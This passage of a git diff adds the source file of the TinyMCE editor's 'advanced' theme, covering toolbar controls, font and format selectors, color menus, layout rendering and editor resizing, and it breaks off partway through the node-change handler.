i=this.editor;if(i.dom.getAttrib(i.selection.getNode(),"class").indexOf("mceItem")!=-1){return}i.windowManager.open({url:this.url+"/image.htm",width:355+parseInt(i.getLang("advanced.image_delta_width",0)),height:275+parseInt(i.getLang("advanced.image_delta_height",0)),inline:true},{theme_url:this.url})},_mceLink:function(j,k){var i=this.editor;i.windowManager.open({url:this.url+"/link.htm",width:310+parseInt(i.getLang("advanced.link_delta_width",0)),height:200+parseInt(i.getLang("advanced.link_delta_height",0)),inline:true},{theme_url:this.url})},_mceNewDocument:function(){var i=this.editor;i.windowManager.confirm("advanced.newdocument",function(j){if(j){i.execCommand("mceSetContent",false,"")}})},_mceForeColor:function(){var i=this;this._mceColorPicker(0,{color:i.fgColor,func:function(j){i.fgColor=j;i.editor.execCommand("ForeColor",false,j)}})},_mceBackColor:function(){var i=this;this._mceColorPicker(0,{color:i.bgColor,func:function(j){i.bgColor=j;i.editor.execCommand("HiliteColor",false,j)}})},_ufirst:function(i){return i.substring(0,1).toUpperCase()+i.substring(1)}});e.ThemeManager.add("advanced",e.themes.AdvancedTheme)}(tinymce)); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/editor_template_src.js b/js/tiny_mce2/themes/advanced/editor_template_src.js new file mode 100755 index 0000000..00b404a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/editor_template_src.js @@ -0,0 +1,1362 @@ +/** + * editor_template_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function(tinymce) { + var DOM = tinymce.DOM, Event = tinymce.dom.Event, extend = tinymce.extend, each = tinymce.each, Cookie = tinymce.util.Cookie, lastExtID, explode = tinymce.explode; + + // Tell it to load theme specific language pack(s) + tinymce.ThemeManager.requireLangPack('advanced'); + + tinymce.create('tinymce.themes.AdvancedTheme', { + sizes : [8, 10, 12, 14, 18, 24, 36], + + // Control name lookup, format: title, command + controls : { + bold : ['bold_desc', 'Bold'], + italic : ['italic_desc', 'Italic'], + underline : ['underline_desc', 'Underline'], + strikethrough : ['striketrough_desc', 'Strikethrough'], + justifyleft : ['justifyleft_desc', 'JustifyLeft'], + justifycenter : ['justifycenter_desc', 'JustifyCenter'], + justifyright : ['justifyright_desc', 'JustifyRight'], + justifyfull : ['justifyfull_desc', 'JustifyFull'], + bullist : ['bullist_desc', 'InsertUnorderedList'], + numlist : ['numlist_desc', 'InsertOrderedList'], + outdent : ['outdent_desc', 'Outdent'], + indent : ['indent_desc', 'Indent'], + cut : ['cut_desc', 'Cut'], + copy : ['copy_desc', 'Copy'], + paste : ['paste_desc', 'Paste'], + undo : ['undo_desc', 'Undo'], + redo : ['redo_desc', 'Redo'], + link : ['link_desc', 'mceLink'], + unlink : ['unlink_desc', 'unlink'], + image : ['image_desc', 'mceImage'], + cleanup : ['cleanup_desc', 'mceCleanup'], + help : ['help_desc', 'mceHelp'], + code : ['code_desc', 'mceCodeEditor'], + hr : ['hr_desc', 'InsertHorizontalRule'], + removeformat : ['removeformat_desc', 'RemoveFormat'], + sub : ['sub_desc', 'subscript'], + sup : ['sup_desc', 'superscript'], + forecolor : ['forecolor_desc', 'ForeColor'], + forecolorpicker : ['forecolor_desc', 'mceForeColor'], + backcolor : ['backcolor_desc', 'HiliteColor'], + backcolorpicker : ['backcolor_desc', 'mceBackColor'], + charmap : ['charmap_desc', 'mceCharMap'], + visualaid : ['visualaid_desc', 'mceToggleVisualAid'], + anchor : ['anchor_desc', 'mceInsertAnchor'], + newdocument : ['newdocument_desc', 'mceNewDocument'], + blockquote : ['blockquote_desc', 'mceBlockQuote'] + }, + + stateControls : ['bold', 'italic', 'underline', 'strikethrough', 'bullist', 'numlist', 'justifyleft', 'justifycenter', 'justifyright', 'justifyfull', 'sub', 'sup', 'blockquote'], + + init : function(ed, url) { + var t = this, s, v, o; + + t.editor = ed; + t.url = url; + t.onResolveName = new tinymce.util.Dispatcher(this); + + ed.forcedHighContrastMode = ed.settings.detect_highcontrast && t._isHighContrast(); + ed.settings.skin = ed.forcedHighContrastMode ? 'highcontrast' : ed.settings.skin; + + // Default settings + t.settings = s = extend({ + theme_advanced_path : true, + theme_advanced_toolbar_location : 'bottom', + theme_advanced_buttons1 : "bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect", + theme_advanced_buttons2 : "bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code", + theme_advanced_buttons3 : "hr,removeformat,visualaid,|,sub,sup,|,charmap", + theme_advanced_blockformats : "p,address,pre,h1,h2,h3,h4,h5,h6", + theme_advanced_toolbar_align : "center", + theme_advanced_fonts : "Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats", + theme_advanced_more_colors : 1, + theme_advanced_row_height : 23, + theme_advanced_resize_horizontal : 1, + theme_advanced_resizing_use_cookie : 1, + theme_advanced_font_sizes : "1,2,3,4,5,6,7", + theme_advanced_font_selector : "span", + theme_advanced_show_current_color: 0, + readonly : ed.settings.readonly + }, ed.settings); + + // Setup default font_size_style_values + if (!s.font_size_style_values) + s.font_size_style_values = "8pt,10pt,12pt,14pt,18pt,24pt,36pt"; + + if (tinymce.is(s.theme_advanced_font_sizes, 'string')) { + s.font_size_style_values = tinymce.explode(s.font_size_style_values); + s.font_size_classes = tinymce.explode(s.font_size_classes || ''); + + // Parse string value + o = {}; + ed.settings.theme_advanced_font_sizes = s.theme_advanced_font_sizes; + each(ed.getParam('theme_advanced_font_sizes', '', 'hash'), function(v, k) { + var cl; + + if (k == v && v >= 1 && v <= 7) { + k = v + ' (' + t.sizes[v - 1] + 'pt)'; + cl = s.font_size_classes[v - 1]; + v = s.font_size_style_values[v - 1] || (t.sizes[v - 1] + 'pt'); + } + + if (/^\s*\./.test(v)) + cl = v.replace(/\./g, ''); + + o[k] = cl ? {'class' : cl} : {fontSize : v}; + }); + + s.theme_advanced_font_sizes = o; + } + + if ((v = s.theme_advanced_path_location) && v != 'none') + s.theme_advanced_statusbar_location = s.theme_advanced_path_location; + + if (s.theme_advanced_statusbar_location == 'none') + s.theme_advanced_statusbar_location = 0; + + if (ed.settings.content_css !== false) + ed.contentCSS.push(ed.baseURI.toAbsolute(url + "/skins/" + ed.settings.skin + "/content.css")); + + // Init editor + ed.onInit.add(function() { + if (!ed.settings.readonly) { + ed.onNodeChange.add(t._nodeChanged, t); + ed.onKeyUp.add(t._updateUndoStatus, t); + ed.onMouseUp.add(t._updateUndoStatus, t); + ed.dom.bind(ed.dom.getRoot(), 'dragend', function() { + t._updateUndoStatus(ed); + }); + } + }); + + ed.onSetProgressState.add(function(ed, b, ti) { + var co, id = ed.id, tb; + + if (b) { + t.progressTimer = setTimeout(function() { + co = ed.getContainer(); + co = co.insertBefore(DOM.create('DIV', {style : 'position:relative'}), co.firstChild); + tb = DOM.get(ed.id + '_tbl'); + + DOM.add(co, 'div', {id : id + '_blocker', 'class' : 'mceBlocker', style : {width : tb.clientWidth + 2, height : tb.clientHeight + 2}}); + DOM.add(co, 'div', {id : id + '_progress', 'class' : 'mceProgress', style : {left : tb.clientWidth / 2, top : tb.clientHeight / 2}}); + }, ti || 0); + } else { + DOM.remove(id + '_blocker'); + DOM.remove(id + '_progress'); + clearTimeout(t.progressTimer); + } + }); + + DOM.loadCSS(s.editor_css ? ed.documentBaseURI.toAbsolute(s.editor_css) : url + "/skins/" + ed.settings.skin + "/ui.css"); + + if (s.skin_variant) + DOM.loadCSS(url + "/skins/" + ed.settings.skin + "/ui_" + s.skin_variant + ".css"); + }, + + _isHighContrast : function() { + var actualColor, div = DOM.add(DOM.getRoot(), 'div', {'style': 'background-color: rgb(171,239,86);'}); + + actualColor = (DOM.getStyle(div, 'background-color', true) + '').toLowerCase().replace(/ /g, ''); + DOM.remove(div); + + return actualColor != 'rgb(171,239,86)' && actualColor != '#abef56'; + }, + + createControl : function(n, cf) { + var cd, c; + + if (c = cf.createControl(n)) + return c; + + switch (n) { + case "styleselect": + return this._createStyleSelect(); + + case "formatselect": + return this._createBlockFormats(); + + case "fontselect": + return this._createFontSelect(); + + case "fontsizeselect": + return this._createFontSizeSelect(); + + case "forecolor": + return this._createForeColorMenu(); + + case "backcolor": + return this._createBackColorMenu(); + } + + if ((cd = this.controls[n])) + return cf.createButton(n, {title : "advanced." + cd[0], cmd : cd[1], ui : cd[2], value : cd[3]}); + }, + + execCommand : function(cmd, ui, val) { + var f = this['_' + cmd]; + + if (f) { + f.call(this, ui, val); + return true; + } + + return false; + }, + + _importClasses : function(e) { + var ed = this.editor, ctrl = ed.controlManager.get('styleselect'); + + if (ctrl.getLength() == 0) { + each(ed.dom.getClasses(), function(o, idx) { + var name = 'style_' + idx; + + ed.formatter.register(name, { + inline : 'span', + attributes : {'class' : o['class']}, + selector : '*' + }); + + ctrl.add(o['class'], name); + }); + } + }, + + _createStyleSelect : function(n) { + var t = this, ed = t.editor, ctrlMan = ed.controlManager, ctrl; + + // Setup style select box + ctrl = ctrlMan.createListBox('styleselect', { + title : 'advanced.style_select', + onselect : function(name) { + var matches, formatNames = []; + + each(ctrl.items, function(item) { + formatNames.push(item.value); + }); + + ed.focus(); + ed.undoManager.add(); + + // Toggle off the current format + matches = ed.formatter.matchAll(formatNames); + if (!name || matches[0] == name) { + if (matches[0]) + ed.formatter.remove(matches[0]); + } else + ed.formatter.apply(name); + + ed.undoManager.add(); + ed.nodeChanged(); + + return false; // No auto select + } + }); + + // Handle specified format + ed.onInit.add(function() { + var counter = 0, formats = ed.getParam('style_formats'); + + if (formats) { + each(formats, function(fmt) { + var name, keys = 0; + + each(fmt, function() {keys++;}); + + if (keys > 1) { + name = fmt.name = fmt.name || 'style_' + (counter++); + ed.formatter.register(name, fmt); + ctrl.add(fmt.title, name); + } else + ctrl.add(fmt.title); + }); + } else { + each(ed.getParam('theme_advanced_styles', '', 'hash'), function(val, key) { + var name; + + if (val) { + name = 'style_' + (counter++); + + ed.formatter.register(name, { + inline : 'span', + classes : val, + selector : '*' + }); + + ctrl.add(t.editor.translate(key), name); + } + }); + } + }); + + // Auto import classes if the ctrl box is empty + if (ctrl.getLength() == 0) { + ctrl.onPostRender.add(function(ed, n) { + if (!ctrl.NativeListBox) { + Event.add(n.id + '_text', 'focus', t._importClasses, t); + Event.add(n.id + '_text', 'mousedown', t._importClasses, t); + Event.add(n.id + '_open', 'focus', t._importClasses, t); + Event.add(n.id + '_open', 'mousedown', t._importClasses, t); + } else + Event.add(n.id, 'focus', t._importClasses, t); + }); + } + + return ctrl; + }, + + _createFontSelect : function() { + var c, t = this, ed = t.editor; + + c = ed.controlManager.createListBox('fontselect', { + title : 'advanced.fontdefault', + onselect : function(v) { + var cur = c.items[c.selectedIndex]; + + if (!v && cur) { + ed.execCommand('FontName', false, cur.value); + return; + } + + ed.execCommand('FontName', false, v); + + // Fake selection, execCommand will fire a nodeChange and update the selection + c.select(function(sv) { + return v == sv; + }); + + if (cur && cur.value == v) { + c.select(null); + } + + return false; // No auto select + } + }); + + if (c) { + each(ed.getParam('theme_advanced_fonts', t.settings.theme_advanced_fonts, 'hash'), function(v, k) { + c.add(ed.translate(k), v, {style : v.indexOf('dings') == -1 ? 'font-family:' + v : ''}); + }); + } + + return c; + }, + + _createFontSizeSelect : function() { + var t = this, ed = t.editor, c, i = 0, cl = []; + + c = ed.controlManager.createListBox('fontsizeselect', {title : 'advanced.font_size', onselect : function(v) { + var cur = c.items[c.selectedIndex]; + + if (!v && cur) { + cur = cur.value; + + if (cur['class']) { + ed.formatter.toggle('fontsize_class', {value : cur['class']}); + ed.undoManager.add(); + ed.nodeChanged(); + } else { + ed.execCommand('FontSize', false, cur.fontSize); + } + + return; + } + + if (v['class']) { + ed.focus(); + ed.undoManager.add(); + ed.formatter.toggle('fontsize_class', {value : v['class']}); + ed.undoManager.add(); + ed.nodeChanged(); + } else + ed.execCommand('FontSize', false, v.fontSize); + + // Fake selection, execCommand will fire a nodeChange and update the selection + c.select(function(sv) { + return v == sv; + }); + + if (cur && (cur.value.fontSize == v.fontSize || cur.value['class'] && cur.value['class'] == v['class'])) { + c.select(null); + } + + return false; // No auto select + }}); + + if (c) { + each(t.settings.theme_advanced_font_sizes, function(v, k) { + var fz = v.fontSize; + + if (fz >= 1 && fz <= 7) + fz = t.sizes[parseInt(fz) - 1] + 'pt'; + + c.add(k, v, {'style' : 'font-size:' + fz, 'class' : 'mceFontSize' + (i++) + (' ' + (v['class'] || ''))}); + }); + } + + return c; + }, + + _createBlockFormats : function() { + var c, fmts = { + p : 'advanced.paragraph', + address : 'advanced.address', + pre : 'advanced.pre', + h1 : 'advanced.h1', + h2 : 'advanced.h2', + h3 : 'advanced.h3', + h4 : 'advanced.h4', + h5 : 'advanced.h5', + h6 : 'advanced.h6', + div : 'advanced.div', + blockquote : 'advanced.blockquote', + code : 'advanced.code', + dt : 'advanced.dt', + dd : 'advanced.dd', + samp : 'advanced.samp' + }, t = this; + + c = t.editor.controlManager.createListBox('formatselect', {title : 'advanced.block', onselect : function(v) { + t.editor.execCommand('FormatBlock', false, v); + return false; + }}); + + if (c) { + each(t.editor.getParam('theme_advanced_blockformats', t.settings.theme_advanced_blockformats, 'hash'), function(v, k) { + c.add(t.editor.translate(k != v ? k : fmts[v]), v, {'class' : 'mce_formatPreview mce_' + v}); + }); + } + + return c; + }, + + _createForeColorMenu : function() { + var c, t = this, s = t.settings, o = {}, v; + + if (s.theme_advanced_more_colors) { + o.more_colors_func = function() { + t._mceColorPicker(0, { + color : c.value, + func : function(co) { + c.setColor(co); + } + }); + }; + } + + if (v = s.theme_advanced_text_colors) + o.colors = v; + + if (s.theme_advanced_default_foreground_color) + o.default_color = s.theme_advanced_default_foreground_color; + + o.title = 'advanced.forecolor_desc'; + o.cmd = 'ForeColor'; + o.scope = this; + + c = t.editor.controlManager.createColorSplitButton('forecolor', o); + + return c; + }, + + _createBackColorMenu : function() { + var c, t = this, s = t.settings, o = {}, v; + + if (s.theme_advanced_more_colors) { + o.more_colors_func = function() { + t._mceColorPicker(0, { + color : c.value, + func : function(co) { + c.setColor(co); + } + }); + }; + } + + if (v = s.theme_advanced_background_colors) + o.colors = v; + + if (s.theme_advanced_default_background_color) + o.default_color = s.theme_advanced_default_background_color; + + o.title = 'advanced.backcolor_desc'; + o.cmd = 'HiliteColor'; + o.scope = this; + + c = t.editor.controlManager.createColorSplitButton('backcolor', o); + + return c; + }, + + renderUI : function(o) { + var n, ic, tb, t = this, ed = t.editor, s = t.settings, sc, p, nl; + + if (ed.settings) { + ed.settings.aria_label = s.aria_label + ed.getLang('advanced.help_shortcut'); + } + + // TODO: ACC Should have an aria-describedby attribute which is user-configurable to describe what this field is actually for. + // Maybe actually inherit it from the original textara? + n = p = DOM.create('span', {role : 'application', 'aria-labelledby' : ed.id + '_voice', id : ed.id + '_parent', 'class' : 'mceEditor ' + ed.settings.skin + 'Skin' + (s.skin_variant ? ' ' + ed.settings.skin + 'Skin' + t._ufirst(s.skin_variant) : '')}); + DOM.add(n, 'span', {'class': 'mceVoiceLabel', 'style': 'display:none;', id: ed.id + '_voice'}, s.aria_label); + + if (!DOM.boxModel) + n = DOM.add(n, 'div', {'class' : 'mceOldBoxModel'}); + + n = sc = DOM.add(n, 'table', {role : "presentation", id : ed.id + '_tbl', 'class' : 'mceLayout', cellSpacing : 0, cellPadding : 0}); + n = tb = DOM.add(n, 'tbody'); + + switch ((s.theme_advanced_layout_manager || '').toLowerCase()) { + case "rowlayout": + ic = t._rowLayout(s, tb, o); + break; + + case "customlayout": + ic = ed.execCallback("theme_advanced_custom_layout", s, tb, o, p); + break; + + default: + ic = t._simpleLayout(s, tb, o, p); + } + + n = o.targetNode; + + // Add classes to first and last TRs + nl = sc.rows; + DOM.addClass(nl[0], 'mceFirst'); + DOM.addClass(nl[nl.length - 1], 'mceLast'); + + // Add classes to first and last TDs + each(DOM.select('tr', tb), function(n) { + DOM.addClass(n.firstChild, 'mceFirst'); + DOM.addClass(n.childNodes[n.childNodes.length - 1], 'mceLast'); + }); + + if (DOM.get(s.theme_advanced_toolbar_container)) + DOM.get(s.theme_advanced_toolbar_container).appendChild(p); + else + DOM.insertAfter(p, n); + + Event.add(ed.id + '_path_row', 'click', function(e) { + e = e.target; + + if (e.nodeName == 'A') { + t._sel(e.className.replace(/^.*mcePath_([0-9]+).*$/, '$1')); + + return Event.cancel(e); + } + }); +/* + if (DOM.get(ed.id + '_path_row')) { + Event.add(ed.id + '_tbl', 'mouseover', function(e) { + var re; + + e = e.target; + + if (e.nodeName == 'SPAN' && DOM.hasClass(e.parentNode, 'mceButton')) { + re = DOM.get(ed.id + '_path_row'); + t.lastPath = re.innerHTML; + DOM.setHTML(re, e.parentNode.title); + } + }); + + Event.add(ed.id + '_tbl', 'mouseout', function(e) { + if (t.lastPath) { + DOM.setHTML(ed.id + '_path_row', t.lastPath); + t.lastPath = 0; + } + }); + } +*/ + + if (!ed.getParam('accessibility_focus')) + Event.add(DOM.add(p, 'a', {href : '#'}, ''), 'focus', function() {tinyMCE.get(ed.id).focus();}); + + if (s.theme_advanced_toolbar_location == 'external') + o.deltaHeight = 0; + + t.deltaHeight = o.deltaHeight; + o.targetNode = null; + + ed.onKeyDown.add(function(ed, evt) { + var DOM_VK_F10 = 121, DOM_VK_F11 = 122; + + if (evt.altKey) { + if (evt.keyCode === DOM_VK_F10) { + // Make sure focus is given to toolbar in Safari. + // We can't do this in IE as it prevents giving focus to toolbar when editor is in a frame + if (tinymce.isWebKit) { + window.focus(); + } + t.toolbarGroup.focus(); + return Event.cancel(evt); + } else if (evt.keyCode === DOM_VK_F11) { + DOM.get(ed.id + '_path_row').focus(); + return Event.cancel(evt); + } + } + }); + + // alt+0 is the UK recommended shortcut for accessing the list of access controls. + ed.addShortcut('alt+0', '', 'mceShortcuts', t); + + return { + iframeContainer : ic, + editorContainer : ed.id + '_parent', + sizeContainer : sc, + deltaHeight : o.deltaHeight + }; + }, + + getInfo : function() { + return { + longname : 'Advanced theme', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + version : tinymce.majorVersion + "." + tinymce.minorVersion + } + }, + + resizeBy : function(dw, dh) { + var e = DOM.get(this.editor.id + '_ifr'); + + this.resizeTo(e.clientWidth + dw, e.clientHeight + dh); + }, + + resizeTo : function(w, h, store) { + var ed = this.editor, s = this.settings, e = DOM.get(ed.id + '_tbl'), ifr = DOM.get(ed.id + '_ifr'); + + // Boundery fix box + w = Math.max(s.theme_advanced_resizing_min_width || 100, w); + h = Math.max(s.theme_advanced_resizing_min_height || 100, h); + w = Math.min(s.theme_advanced_resizing_max_width || 0xFFFF, w); + h = Math.min(s.theme_advanced_resizing_max_height || 0xFFFF, h); + + // Resize iframe and container + DOM.setStyle(e, 'height', ''); + DOM.setStyle(ifr, 'height', h); + + if (s.theme_advanced_resize_horizontal) { + DOM.setStyle(e, 'width', ''); + DOM.setStyle(ifr, 'width', w); + + // Make sure that the size is never smaller than the over all ui + if (w < e.clientWidth) { + w = e.clientWidth; + DOM.setStyle(ifr, 'width', e.clientWidth); + } + } + + // Store away the size + if (store && s.theme_advanced_resizing_use_cookie) { + Cookie.setHash("TinyMCE_" + ed.id + "_size", { + cw : w, + ch : h + }); + } + }, + + destroy : function() { + var id = this.editor.id; + + Event.clear(id + '_resize'); + Event.clear(id + '_path_row'); + Event.clear(id + '_external_close'); + }, + + // Internal functions + + _simpleLayout : function(s, tb, o, p) { + var t = this, ed = t.editor, lo = s.theme_advanced_toolbar_location, sl = s.theme_advanced_statusbar_location, n, ic, etb, c; + + if (s.readonly) { + n = DOM.add(tb, 'tr'); + n = ic = DOM.add(n, 'td', {'class' : 'mceIframeContainer'}); + return ic; + } + + // Create toolbar container at top + if (lo == 'top') + t._addToolbars(tb, o); + + // Create external toolbar + if (lo == 'external') { + n = c = DOM.create('div', {style : 'position:relative'}); + n = DOM.add(n, 'div', {id : ed.id + '_external', 'class' : 'mceExternalToolbar'}); + DOM.add(n, 'a', {id : ed.id + '_external_close', href : 'javascript:;', 'class' : 'mceExternalClose'}); + n = DOM.add(n, 'table', {id : ed.id + '_tblext', cellSpacing : 0, cellPadding : 0}); + etb = DOM.add(n, 'tbody'); + + if (p.firstChild.className == 'mceOldBoxModel') + p.firstChild.appendChild(c); + else + p.insertBefore(c, p.firstChild); + + t._addToolbars(etb, o); + + ed.onMouseUp.add(function() { + var e = DOM.get(ed.id + '_external'); + DOM.show(e); + + DOM.hide(lastExtID); + + var f = Event.add(ed.id + '_external_close', 'click', function() { + DOM.hide(ed.id + '_external'); + Event.remove(ed.id + '_external_close', 'click', f); + }); + + DOM.show(e); + DOM.setStyle(e, 'top', 0 - DOM.getRect(ed.id + '_tblext').h - 1); + + // Fixes IE rendering bug + DOM.hide(e); + DOM.show(e); + e.style.filter = ''; + + lastExtID = ed.id + '_external'; + + e = null; + }); + } + + if (sl == 'top') + t._addStatusBar(tb, o); + + // Create iframe container + if (!s.theme_advanced_toolbar_container) { + n = DOM.add(tb, 'tr'); + n = ic = DOM.add(n, 'td', {'class' : 'mceIframeContainer'}); + } + + // Create toolbar container at bottom + if (lo == 'bottom') + t._addToolbars(tb, o); + + if (sl == 'bottom') + t._addStatusBar(tb, o); + + return ic; + }, + + _rowLayout : function(s, tb, o) { + var t = this, ed = t.editor, dc, da, cf = ed.controlManager, n, ic, to, a; + + dc = s.theme_advanced_containers_default_class || ''; + da = s.theme_advanced_containers_default_align || 'center'; + + each(explode(s.theme_advanced_containers || ''), function(c, i) { + var v = s['theme_advanced_container_' + c] || ''; + + switch (c.toLowerCase()) { + case 'mceeditor': + n = DOM.add(tb, 'tr'); + n = ic = DOM.add(n, 'td', {'class' : 'mceIframeContainer'}); + break; + + case 'mceelementpath': + t._addStatusBar(tb, o); + break; + + default: + a = (s['theme_advanced_container_' + c + '_align'] || da).toLowerCase(); + a = 'mce' + t._ufirst(a); + + n = DOM.add(DOM.add(tb, 'tr'), 'td', { + 'class' : 'mceToolbar ' + (s['theme_advanced_container_' + c + '_class'] || dc) + ' ' + a || da + }); + + to = cf.createToolbar("toolbar" + i); + t._addControls(v, to); + DOM.setHTML(n, to.renderHTML()); + o.deltaHeight -= s.theme_advanced_row_height; + } + }); + + return ic; + }, + + _addControls : function(v, tb) { + var t = this, s = t.settings, di, cf = t.editor.controlManager; + + if (s.theme_advanced_disable && !t._disabled) { + di = {}; + + each(explode(s.theme_advanced_disable), function(v) { + di[v] = 1; + }); + + t._disabled = di; + } else + di = t._disabled; + + each(explode(v), function(n) { + var c; + + if (di && di[n]) + return; + + // Compatiblity with 2.x + if (n == 'tablecontrols') { + each(["table","|","row_props","cell_props","|","row_before","row_after","delete_row","|","col_before","col_after","delete_col","|","split_cells","merge_cells"], function(n) { + n = t.createControl(n, cf); + + if (n) + tb.add(n); + }); + + return; + } + + c = t.createControl(n, cf); + + if (c) + tb.add(c); + }); + }, + + _addToolbars : function(c, o) { + var t = this, i, tb, ed = t.editor, s = t.settings, v, cf = ed.controlManager, di, n, h = [], a, toolbarGroup; + + toolbarGroup = cf.createToolbarGroup('toolbargroup', { + 'name': ed.getLang('advanced.toolbar'), + 'tab_focus_toolbar':ed.getParam('theme_advanced_tab_focus_toolbar') + }); + + t.toolbarGroup = toolbarGroup; + + a = s.theme_advanced_toolbar_align.toLowerCase(); + a = 'mce' + t._ufirst(a); + + n = DOM.add(DOM.add(c, 'tr', {role: 'presentation'}), 'td', {'class' : 'mceToolbar ' + a, "role":"presentation"}); + + // Create toolbar and add the controls + for (i=1; (v = s['theme_advanced_buttons' + i]); i++) { + tb = cf.createToolbar("toolbar" + i, {'class' : 'mceToolbarRow' + i}); + + if (s['theme_advanced_buttons' + i + '_add']) + v += ',' + s['theme_advanced_buttons' + i + '_add']; + + if (s['theme_advanced_buttons' + i + '_add_before']) + v = s['theme_advanced_buttons' + i + '_add_before'] + ',' + v; + + t._addControls(v, tb); + toolbarGroup.add(tb); + + o.deltaHeight -= s.theme_advanced_row_height; + } + h.push(toolbarGroup.renderHTML()); + h.push(DOM.createHTML('a', {href : '#', accesskey : 'z', title : ed.getLang("advanced.toolbar_focus"), onfocus : 'tinyMCE.getInstanceById(\'' + ed.id + '\').focus();'}, '')); + DOM.setHTML(n, h.join('')); + }, + + _addStatusBar : function(tb, o) { + var n, t = this, ed = t.editor, s = t.settings, r, mf, me, td; + + n = DOM.add(tb, 'tr'); + n = td = DOM.add(n, 'td', {'class' : 'mceStatusbar'}); + n = DOM.add(n, 'div', {id : ed.id + '_path_row', 'role': 'group', 'aria-labelledby': ed.id + '_path_voice'}); + if (s.theme_advanced_path) { + DOM.add(n, 'span', {id: ed.id + '_path_voice'}, ed.translate('advanced.path')); + DOM.add(n, 'span', {}, ': '); + } else { + DOM.add(n, 'span', {}, ' '); + } + + + if (s.theme_advanced_resizing) { + DOM.add(td, 'a', {id : ed.id + '_resize', href : 'javascript:;', onclick : "return false;", 'class' : 'mceResize', tabIndex:"-1"}); + + if (s.theme_advanced_resizing_use_cookie) { + ed.onPostRender.add(function() { + var o = Cookie.getHash("TinyMCE_" + ed.id + "_size"), c = DOM.get(ed.id + '_tbl'); + + if (!o) + return; + + t.resizeTo(o.cw, o.ch); + }); + } + + ed.onPostRender.add(function() { + Event.add(ed.id + '_resize', 'click', function(e) { + e.preventDefault(); + }); + + Event.add(ed.id + '_resize', 'mousedown', function(e) { + var mouseMoveHandler1, mouseMoveHandler2, + mouseUpHandler1, mouseUpHandler2, + startX, startY, startWidth, startHeight, width, height, ifrElm; + + function resizeOnMove(e) { + e.preventDefault(); + + width = startWidth + (e.screenX - startX); + height = startHeight + (e.screenY - startY); + + t.resizeTo(width, height); + }; + + function endResize(e) { + // Stop listening + Event.remove(DOM.doc, 'mousemove', mouseMoveHandler1); + Event.remove(ed.getDoc(), 'mousemove', mouseMoveHandler2); + Event.remove(DOM.doc, 'mouseup', mouseUpHandler1); + Event.remove(ed.getDoc(), 'mouseup', mouseUpHandler2); + + width = startWidth + (e.screenX - startX); + height = startHeight + (e.screenY - startY); + t.resizeTo(width, height, true); + }; + + e.preventDefault(); + + // Get the current rect size + startX = e.screenX; + startY = e.screenY; + ifrElm = DOM.get(t.editor.id + '_ifr'); + startWidth = width = ifrElm.clientWidth; + startHeight = height = ifrElm.clientHeight; + + // Register envent handlers + mouseMoveHandler1 = Event.add(DOM.doc, 'mousemove', resizeOnMove); + mouseMoveHandler2 = Event.add(ed.getDoc(), 'mousemove', resizeOnMove); + mouseUpHandler1 = Event.add(DOM.doc, 'mouseup', endResize); + mouseUpHandler2 = Event.add(ed.getDoc(), 'mouseup', endResize); + }); + }); + } + + o.deltaHeight -= 21; + n = tb = null; + }, + + _updateUndoStatus : function(ed) { + var cm = ed.controlManager, um = ed.undoManager; + + cm.setDisabled('undo', !um.hasUndo() && !um.typing); + cm.setDisabled('redo', !um.hasRedo()); + }, + + _nodeChanged : function(ed, cm, n, co, ob) { + var t = this, p, de = 0, v, c, s = t.settings, cl, fz, fn, fc, bc, formatNames, matches; + + tinymce.each(t.stateControls, function(c) { + cm.setActive(c, ed.queryCommandState(t.controls[c][1])); + }); + + function getParent(name) { + var i, parents = ob.parents, func = name; + + if (typeof(name) == 'string') { + func = function(node) { + return node.nodeName == name; + }; + } + + for (i = 0; i < parents.length; i++) { + if (func(parents[i])) + return parents[i]; + } + }; + + cm.setActive('visualaid', ed.hasVisual); + t._updateUndoStatus(ed); + cm.setDisabled('outdent', !ed.queryCommandState('Outdent')); + + p = getParent('A'); + if (c = cm.get('link')) { + if (!p || !p.name) { + c.setDisabled(!p && co); + c.setActive(!!p); + } + } + + if (c = cm.get('unlink')) { + c.setDisabled(!p && co); + c.setActive(!!p && !p.name); + } + + if (c = cm.get('anchor')) { + c.setActive(!co && !!p && p.name); + } + + p = getParent('IMG'); + if (c = cm.get('image')) + c.setActive(!co && !!p && n.className.indexOf('mceItem') == -1); + + if (c = cm.get('styleselect')) { + t._importClasses(); + + formatNames = []; + each(c.items, function(item) { + formatNames.push(item.value); + }); + + matches = ed.formatter.matchAll(formatNames); + c.select(matches[0]); + } + + if (c = cm.get('formatselect')) { + p = getParent(DOM.isBlock); + + if (p) + c.select(p.nodeName.toLowerCase()); + } + + // Find out current fontSize, fontFamily and fontClass + getParent(function(n) { + if (n.nodeName === 'SPAN') { + if (!cl && n.className) + cl = n.className; + } + + if (ed.dom.is(n, s.theme_advanced_font_selector)) { + if (!fz && n.style.fontSize) + fz = n.style.fontSize; + + if (!fn && n.style.fontFamily) + fn = n.style.fontFamily.replace(/[\"\']+/g, '').replace(/^([^,]+).*/, '$1').toLowerCase(); + + if (!fc && n.style.color) + fc = n.style.color; + + if (!bc && n.style.backgroundColor) + bc = n.style.backgroundColor; + } + + return false; + }); + + if (c = cm.get('fontselect')) { + c.select(function(v) { + return v.replace(/^([^,]+).*/, '$1').toLowerCase() == fn; + }); + } + + // Select font size + if (c = cm.get('fontsizeselect')) { + // Use computed style + if (s.theme_advanced_runtime_fontsize && !fz && !cl) + fz = ed.dom.getStyle(n, 'fontSize', true); + + c.select(function(v) { + if (v.fontSize && v.fontSize === fz) + return true; + + if (v['class'] && v['class'] === cl) + return true; + }); + } + + if 